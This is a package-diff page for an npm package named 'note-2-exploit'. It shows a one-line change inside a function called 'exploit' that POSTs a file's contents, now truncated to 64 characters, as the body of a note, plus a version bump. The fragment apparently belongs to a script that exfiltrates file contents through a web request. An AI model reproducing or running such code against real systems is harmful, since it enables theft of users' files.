note-2-exploit 1.2.1 → 1.2.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +1 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -35,7 +35,7 @@ async function exploit() {
35
35
  "content-type": "application/json",
36
36
  "sec-gpc": "1"
37
37
  },
38
- "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + file_content + "\"}",
38
+ "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + file_content.slice(0,64) + "\"}",
39
39
  "method": "POST",
40
40
  "mode": "cors",
41
41
  "redirect": "follow",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note-2-exploit",
3
- "version": "1.2.1",
3
+ "version": "1.2.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {